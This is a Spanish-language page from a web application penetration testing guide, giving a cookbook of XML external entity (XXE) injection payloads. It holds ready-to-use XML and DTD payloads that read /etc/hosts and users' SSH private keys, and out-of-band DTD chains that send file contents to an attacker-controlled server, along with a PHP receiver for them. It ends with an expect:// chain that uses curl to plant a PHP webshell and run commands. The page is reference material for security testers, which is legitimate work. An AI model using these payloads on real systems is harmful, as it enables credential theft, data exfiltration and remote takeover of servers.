馃煝
Web Application Penetration Testing
  • Inicio
  • General
    • Metodolog铆as y est谩ndares
    • Aplicaciones vulnerables
  • Reconocimiento y recolecci贸n de informaci贸n
    • Web Application Firewall (WAF)
    • Domain Name System (DNS)
    • Subdominios y Virtual Host (VHost)
    • SSL/TLS y algoritmos de cifrados
    • Certificados
    • Tecnolog铆as web
  • Escaneo y enumeraci贸n
    • HTTP security headers
    • HTTP methods (verbs)
    • Crawling y spidering
    • Fuzzing
      • Directorios
      • Archivos
      • Extensiones
      • Par谩metros
        • GET
        • POST
      • Wordlists
    • Compresi贸n y ofuscaci贸n
    • Herramientas automatizadas
  • Explotaci贸n
    • API keys
    • Clickjacking
    • HTTP methods (verbs)
    • Input data validation
    • HTTP Host header
    • Autenticaci贸n y autorizaci贸n
      • Cookie
      • JSON Web Token (JWT)
      • OAuth
      • SAML
    • Same-origin policy (SOP)
      • Cross-origin resource sharing (CORS)
    • Cross-site scripting (XSS)
    • Cross-site request forgery (CSRF)
    • File upload
    • Path traversal & file inclusion
    • Command injection
      • Node.js
    • SQL injection (SQLi)
      • MySQL / MariaDB
      • Microsoft SQL Server
      • PostgreSQL
      • Oracle
      • sqlmap
    • NoSQL injection (NoSQLi)
    • XML external entity (XXE) injection
    • CRLF injection
    • XPath injection
    • LDAP injection
    • PDF injection
    • Server-side template injection (SSTI)
    • Server-side include (SSI) injection
    • Server-side parameter pollution
    • Server-side request forgery (SSRF)
    • Web cache poisoning
    • HTTP request smuggling
    • Prototype pollution
    • Type juggling
    • GraphQL
    • Open redirect
    • Content Management System (CMS)
      • WordPress
    • Websocket
    • Deserialization
    • Flash
  • Revisi贸n de c贸digo
    • Java
  • Checklist
    • Web application penetration testing
    • Web API penetration testing
Con tecnolog铆a de GitBook
En esta p谩gina
  • Identificaci贸n XXE
  • General
  • Out-of-band (OOB)
  • Lectura de archivos
  • Lectura de archivo general
  • Lectura de archivo id_rsa
  • Lectura de archivo PHP
  • Lectura de archivo utilizando CDATA
  • Lectura de archivo basado en error
  • Lectura de archivo basado en XInclude
  • Lectura de archivo out-of-band (OOB)
  • XML external entity (XXE) injection a Remote Code Execution (RCE)
  • Wrapper expect://

驴Te fue 煤til?

  1. Explotaci贸n

XML external entity (XXE) injection

Identificaci贸n XXE

General

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <name>MrW0l05zyn</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe "XXE PoC">]>
<root>
    <name>&xxe;</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>

Out-of-band (OOB)

M谩quina atacante.

nc -lvnp <listen-port>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'http://<attacker-IP-address>:<listen-port>'>]>
<root>
    <name>&xxe;</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % xxe SYSTEM 'http://<attacker-IP-address>:<listen-port>'>
    %xxe;
]>
<root>
    <name>MrW0l05zyn</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>

Lectura de archivos

Lectura de archivo general

# Linux/Unix
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/hosts'>]>
<element>&xxe;</element>

# Windows
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///C:/Windows/win.ini'>]>
<element>&xxe;</element>

Lectura de archivo id_rsa

Lectura de archivo id_rsa correspondiente a llave privada de usuario del servicio SSH (Secure SHell).

# Linux/Unix
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///home/<user>/.ssh/id_rsa'>]>
<element>&xxe;</element>

# Windows
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///C:/Users/<user>/.ssh/id_rsa'>]>
<element>&xxe;</element>

Lectura de archivo PHP

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<file>">]>
<element>&xxe;</element>

Lectura de archivo utilizando CDATA

Creaci贸n de archivo DTD (Document Type Definition).

xxe.dtd
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd

Habilitaci贸n de servidor HTTP para compartir el archivo xxe.dtd.

python -m SimpleHTTPServer <port>
python3 -m http.server <port>

Lectura de archivo.

Es posible que no podamos leer algunos archivos (como index.php), ya que el servidor web evitar铆a un ataque de DOS causado por la autorreferencia de archivo/entidad (es decir, bucle de referencia de entidad XML).

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [

    <!ENTITY % begin "<![CDATA[">

    <!ENTITY % file SYSTEM "file:///etc/hosts">

    <!ENTITY % end "]]>">

    <!ENTITY % xxe SYSTEM "http://<attacker-IP-address>/xxe.dtd">

    %xxe;

]>
<root>
    <name>&joined;</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>

Lectura de archivo basado en error

Creaci贸n de archivo DTD (Document Type Definition).

xxe.dtd
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY &#37; exfil SYSTEM '%EntidadNoExistente;/%file;'>">
%error;
%exfil;

Habilitaci贸n de servidor HTTP para compartir el archivo xxe.dtd.

python -m SimpleHTTPServer <port>
python3 -m http.server <port>

Lectura de archivo.

<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "http://<attacker-IP-address>/xxe.dtd">
    %remote;
]>

Lectura de archivo basado en XInclude

<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/hosts"/></root>

Lectura de archivo out-of-band (OOB)

HTTP

Creaci贸n de archivo DTD (Document Type Definition).

xxe.dtd
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % oob "<!ENTITY &#37; exfil SYSTEM 'http://<attacker-IP-address>/?content=%file;'>" >

Habilitaci贸n de servidor PHP.

php -S 0.0.0.0:80

Lectura de archivo.

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "http://<attacker-IP-address>/xxe.dtd">
    %remote;
    %oob;
    %exfil;
]>
<root></root>

PHP (protocol)

Creaci贸n de archivo DTD (Document Type Definition).

xxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://<attacker-IP-address>/?content=%file;'>">

Creaci贸n de archivo index.php.

index.php
<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>

Habilitaci贸n de servidor PHP.

php -S 0.0.0.0:80

Lectura de archivo.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "http://<attacker-IP-address>/xxe.dtd">
    %remote;
    %oob;
]>
<root>&content;</root>

XML external entity (XXE) injection a Remote Code Execution (RCE)

Wrapper expect://

Creaci贸n de webshell.

webshell.php
<?php system($_GET['cmd']); ?>

Habilitaci贸n de servidor HTTP para compartir el archivo webshell.php.

python -m SimpleHTTPServer <port>
python3 -m http.server <port>

Ejecuci贸n de cURL para descargar archivo webshell.php en el servidor.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'<attacker-IP-address>/webshell.php'">
]>
<root>
    <name>&xxe;</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>

Ejecuci贸n de comandos.

http://<target>/webshell.php?cmd=id
AnteriorNoSQL injection (NoSQLi)SiguienteCRLF injection

脷ltima actualizaci贸n hace 3 meses

驴Te fue 煤til?